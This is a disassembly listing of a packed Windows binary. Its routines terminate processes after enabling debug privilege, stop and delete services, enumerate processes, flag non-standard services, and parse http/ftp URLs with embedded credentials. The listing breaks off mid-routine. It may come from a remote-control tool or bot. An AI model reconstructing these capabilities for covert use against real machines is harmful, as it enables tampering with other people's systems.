loc_42026A: ; CODE XREF: sub_4200F0+5Aj
; DATA XREF: Themida_:005843E4o
mov ecx, [esp+460h+var_C]
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 458h
retn
sub_4200F0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420300 proc near ; CODE XREF: sub_401EABj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 2910898h
nop
mov ebx, eax
test ebx, ebx
jnz short loc_420325
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420325: ; CODE XREF: sub_420300+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push ebx
nop
call near ptr 28B0000h
mov esi, eax
test esi, esi
jnz short loc_420350
push ebx
nop
call near ptr 2920000h
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420350: ; CODE XREF: sub_420300+3Fj
push ebp
push edi
mov edi, dword_511748
push esi
call edi
push esi
call edi
mov ebp, dword_511744
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp
push esi
call edi
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp
push esi
mov esi, dword_511754
call esi
push ebx
call esi
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_420300 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4203D0 proc near ; CODE XREF: sub_4018B6j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
nop
call near ptr 27A038Bh
push eax
nop
call near ptr 28D1423h
mov ebp, dword_511720
mov edi, dword_5118E0
test eax, eax
jnz short loc_420420
lea ecx, [esp+38h+var_28]
push ecx
push 28h
nop
call near ptr 27A03CCh
push eax
call near ptr 28D1AADh
nop
test eax, eax
jz short loc_42047F
loc_420420: ; CODE XREF: sub_4203D0+36j
cmp [esp+38h+var_28], esi
jz short loc_420483
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
nop
call near ptr 28E0000h
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp
test eax, eax
jz short loc_420478
call near ptr 27D089Fh
nop
cmp eax, 514h
jnz short loc_420483
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_42047D
; ---------------------------------------------------------------------------
loc_420478: ; CODE XREF: sub_4203D0+92j
mov edx, [esp+38h+var_28]
push edx
loc_42047D: ; CODE XREF: sub_4203D0+A6j
call edi
loc_42047F: ; CODE XREF: sub_4203D0+4Ej
mov [esp+38h+var_28], esi
loc_420483: ; CODE XREF: sub_4203D0+54j
; sub_4203D0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
call near ptr 2710000h
nop
mov esi, eax
test esi, esi
jz short loc_4204A8
push 0
push esi
call near ptr 27A03E7h
nop
push esi
mov bl, 1
call edi
loc_4204A8: ; CODE XREF: sub_4203D0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_4204C7
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp
mov edx, [esp+38h+var_28]
push edx
call edi
loc_4204C7: ; CODE XREF: sub_4203D0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_4203D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420530 proc near ; CODE XREF: sub_4011D6j
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420530
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_437B30
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 2881BAFh
test eax, eax
mov dword_50DB30, eax
jnz short loc_42057C
push offset aPsapi_dll ; "PSAPI.DLL"
call near ptr 27F08FAh
nop
test eax, eax
mov dword_50DB30, eax
jz loc_4206FA
loc_42057C: ; CODE XREF: sub_420530+32j
mov esi, dword_511918
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi
mov dword_50DB34, eax
mov eax, dword_50DB30
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi
mov ecx, dword_50DB30
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov dword_50DB38, eax
call esi
mov ecx, dword_50DB34
mov dword_50DB3C, eax
test ecx, ecx
jz loc_4206FA
mov edx, dword_50DB38
test edx, edx
jz loc_4206FA
test eax, eax
jz loc_4206FA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx
test eax, eax
jz loc_4206FA
mov ecx, dword ptr aUnknown ; "unknown"
mov eax, dword ptr aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_4206E1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, dword_5117E0
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_42063F: ; CODE XREF: sub_420530+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp
mov esi, eax
test esi, esi
jz short loc_4206CD
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call dword_50DB38
test eax, eax
jz short loc_4206C6
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call dword_50DB3C
lea ecx, [esp+74h+var_54]
call sub_401875
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_4015E1
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_402185
; ---------------------------------------------------------------------------
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_401A82
loc_4206C6: ; CODE XREF: sub_420530+136j
push esi
nop
call near ptr 28406F3h
loc_4206CD: ; CODE XREF: sub_420530+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_42063F
pop ebp
pop ebx
loc_4206E1: ; CODE XREF: sub_420530+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_4206FA: ; CODE XREF: sub_420530+46j
; sub_420530+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_420530 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207A0 proc near ; CODE XREF: sub_401875j
push esi
mov esi, ecx
call sub_40142E
mov eax, esi
pop esi
retn
sub_4207A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4207C0 proc near ; CODE XREF: sub_401A82j
jmp sub_401226
sub_4207C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207E0 proc near ; CODE XREF: sub_402162j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4207E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
nop
call near ptr 2910898h
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_42082F
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_42082F: ; CODE XREF: sub_4207E0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset off_44530C
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset off_4452F4
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_40142E
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, dword_511718
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi
mov ecx, [esp+524h+var_514]
push ecx
nop
call near ptr 77C2C407h
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_420B8F
mov ebp, dword_511764
loc_420A6B: ; CODE XREF: sub_4207E0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_420A97
lea esi, [esp+524h+var_4E0]
loc_420A78: ; CODE XREF: sub_4207E0+2B5j
mov ecx, [edi]
push ecx
push eax
nop
call near ptr 77C4624Eh
add esp, 8
test eax, eax
jz loc_420B73
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_420A78
loc_420A97: ; CODE XREF: sub_4207E0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_40168B
push eax
push 80000002h
call ebp
cmp eax, ebx
jz short loc_420AE3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420AE3: ; CODE XREF: sub_4207E0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
nop
call near ptr 28F0000h
cmp eax, ebx
jz short loc_420B1D
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420B1D: ; CODE XREF: sub_4207E0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_420B3A: ; CODE XREF: sub_4207E0+301j
; sub_4207E0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_4014D3
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_401325
; ---------------------------------------------------------------------------
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_401226
loc_420B73: ; CODE XREF: sub_4207E0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_420A6B
mov ebp, [esp+524h+var_4FC]
loc_420B8F: ; CODE XREF: sub_4207E0+27Fj
push ebp
nop
call near ptr 2920000h
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_4207E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420CD0 proc near ; CODE XREF: sub_4015F5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
nop
call near ptr 2881BAFh
push eax
nop
call near ptr 2881090h
mov eax, esi
pop esi
retn
sub_420CD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D00 proc near ; CODE XREF: sub_401A37j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_420D39
loc_420D22: ; CODE XREF: sub_420D00+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_420D22
cmp ecx, 0
jz short loc_420D4A
loc_420D39: ; CODE XREF: sub_420D00+20j
; sub_420D00+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_420D39
loc_420D4A: ; CODE XREF: sub_420D00+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_420D00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DA0: ; CODE XREF: ___:00401019j
mov eax, [esp+4]
mov dword_50DB24, eax
mov eax, offset dword_50DB24
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DC0: ; CODE XREF: ___:0040177Bj
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, dword_511AAC
push esi
call edi ; ftell
mov ebp, dword_511AA4
push 2
push 0
push esi
mov ebx, eax
call ebp ; fseek
push esi
call edi ; ftell
push 0
push ebx
push esi
mov edi, eax
call ebp ; fseek
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E10 proc near ; CODE XREF: sub_401947j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420E10
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_420E3F
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420E3F: ; CODE XREF: sub_420E10+26j
lea ecx, [esp+90h+var_84]
call sub_40142E
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_4015E1
push offset asc_444C64 ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401FDC
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420ECF: ; CODE XREF: sub_420E10+92j
; sub_420E10+A2j
push offset asc_4453E0 ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401D34
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp edi, ebx
push offset asc_4453E0 ; "/"
push 1
jz loc_42120C
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_4016B8
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401FDC
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_401226
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F30
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_420FC9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420FC9: ; CODE XREF: sub_420E10+19Cj
push offset asc_4453E0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_4017EE
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421095
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42107E
mov dword ptr [esi+54h], 50h
loc_42107E: ; CODE XREF: sub_420E10+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421095
mov dword ptr [esi+54h], 15h
loc_421095: ; CODE XREF: sub_420E10+255j
; sub_420E10+27Cj
push offset asc_4453E0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 9
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_4016B8
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F30
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42114E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42114E: ; CODE XREF: sub_420E10+321j
push offset asc_4453E0 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset a@ ; "@"
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_4016B8
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F30
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_421333
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42120C: ; CODE XREF: sub_420E10+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_4016B8
push offset asc_444C64 ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_4016B8
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401FDC
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_448F30
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_421293
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_421293: ; CODE XREF: sub_420E10+466j
push offset asc_4453E0 ; "/"
lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_4016B8
push offset asc_444C64 ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421333
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42131C
mov dword ptr [esi+54h], 50h
loc_42131C: ; CODE XREF: sub_420E10+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421333
mov dword ptr [esi+54h], 15h
loc_421333: ; CODE XREF: sub_420E10+3DBj
; sub_420E10+4F3j ...
push offset asc_4453E0 ; "/"
lea ecx, [esp+94h+var_84]
call sub_4013ED
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401E47
push offset asc_4453E0 ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_4013ED
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401E47
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_40202C
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 13h
call sub_401226
push offset asc_4453E0 ; "/"
